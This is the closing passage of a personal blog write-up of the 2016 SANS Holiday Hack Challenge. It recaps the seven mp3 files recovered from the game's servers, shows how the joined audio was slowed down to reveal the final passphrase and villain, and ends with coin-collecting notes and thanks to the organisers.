8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)

Okay a recap of all 7 mp3s:

  1. SantaGram APK:
    discombobulatedaudio1.mp3
  2. The Mobile Analytics Server (via credentialed login access)
    discombobulatedaudio2.mp3
  3. The Dungeon Game
    discombobulatedaudio3.mp3
  4. The Debug Server
    debug-20161224235959-0.mp3
    a.k.a. discombobulatedaudio4.mp3
  5. The Banner Ad Server
    discombobulatedaudio5.mp3
  6. The Uncaught Exception Handler Server
    discombobulated-audio-6-XyzE3N9YqKNH.mp3
    a.k.a. discombobulatedaudio6.mp3
  7. The Mobile Analytics Server (post authentication)
    discombobulatedaudio7.mp3

Part 5: Discombobulated Audio

9) Who is the villain behind the nefarious plot.

To answer this question I joined the 7 mp3 with cat:

sebastianbrabetz$ cat *.mp3 > discombobulatedaudio1-7.mp3

Now lets load this up in audacity:

audacitySounds pretty sped up so I used the “change tempo” effect:

changetempoNow could nearly completely understand what is being said in the mp3:

Merry Christmas Santa Claus Or As I Was Known In Jeff(?)

So this must be the Passphrase for the last unopened door in the Corridor without the CranPi Interface:

clocktowerAHA! The Clock Tower!

Drumroll!

drwhoDr. Who kidnapped Santa and imprisoned him in a Reindeer Stable in 1978!!!

10) Why had the villain abducted Santa?

Errr… Because he is mentally Ill…

And thats when I got the Outro a second time:

outro1

outro2

Add On Challenge!

Collecting all 20 NetWars Coins! Here is the proof that I got them:

bildschirmfoto-2016-12-30-um-00-36-52

19 of the 20 Coins I could find with persistence and force of will, however the last sneaky one, on top of the NetWars Treehouse roof just did not want to be found the conventional way!

Thanks to @januszjasinski who gave me the Idea to cheat and remove the background object of the game:

bildschirmfoto-2016-12-24-um-22-35-42This way I was able to find the last missing coin! :-)

giphy

Epilogue: Bringing It All Home

This years Holiday Hack Challenge was awesome! I learned a lot and had a great time learning and solving the challenges!!!

I want to use this opportunity to thank all of you guys:

Ed Skoudis
Joshua Wright
Evan Booth
Bryce Galbraith
Tad Bennett
Franck Lecollinet
Phillip Smith
Tom Hessman
Daniel Pendolino
Brittiny Banks
Mike Cecil
Kimberly Elliott
Jim Halfpenny
Mark Baggett
Ron Bowes
Jeff McJunkin
Tim Medin
Lee Neely
Ninjula
Swing Republic
8 Bit Universe
Kendra Pendolino
Jason Blanchard
Laura Marchington
Lynn Schifano
Joshua Skoudis
Sabrina Smith
Ethan Wright
Tom VanNorman

And anyone else who helped making this happen! <3

Advertisements

About SebastianB

read it in my blog
This entry was posted in miscellaneous. Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s